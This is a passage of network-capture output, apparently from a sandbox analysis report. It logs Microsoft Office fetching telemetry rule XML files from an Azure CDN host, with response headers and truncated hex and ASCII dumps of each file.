2024-11-16 19:13:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: ccbc10da-001e-0049-41a5-365bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191318Z-1866b5c5fbb55pxzhC1DFW1aps00000003ag0000000002k5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49962	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:18 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 454d907e-001e-00ad-0609-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191318Z-1866b5c5fbb7km9phC1DFWr2sc000000020000000000emfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 19:13:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49963	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:18 UTC	517	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 9bdc8c39-b01e-003d-1ed2-2cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191318Z-16547b76f7fl5zvnhC1DFWtk9g00000001r00000000035zf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:18 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49964	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:18 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:18 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191318Z-16547b76f7fkf5v9hC1DFW2y5s000000033g000000008rxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:18 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49965	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:18 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:18 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:18 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 24bee092-d01e-0028-6965-367896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191318Z-164f84587bf5rpzqhC1DFWmra8000000035g00000000gd3p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:18 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49966	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191319Z-16547b76f7fgfpmjhC1DFWw6ec00000002ng00000000ef47 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 68ea2c45-401e-002a-2712-37c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191319Z-164f84587bfs5tz9hC1DFW9a3w00000003b0000000006ag6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191319Z-1866b5c5fbbzzh8chC1DFWdrc400000002wg00000000bb02 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191319Z-1866b5c5fbbwmdwxhC1DFW5fbn00000000tg000000006q0s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:19 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: dbae507e-301e-000c-7008-36323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191319Z-1866b5c5fbbfhwqqhC1DFW513800000002r0000000002vyv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:19 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:19 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:20 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191320Z-1866b5c5fbb2cz68hC1DFW9ytc000000026000000000grws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 19:13:20 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 19:13:20 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 19:13:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 19:13:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 7b0cde1b-901e-005b-3fc4-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T191320Z-16547b76f7fqqjnnhC1DFWxv7400000001fg00000000esnz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
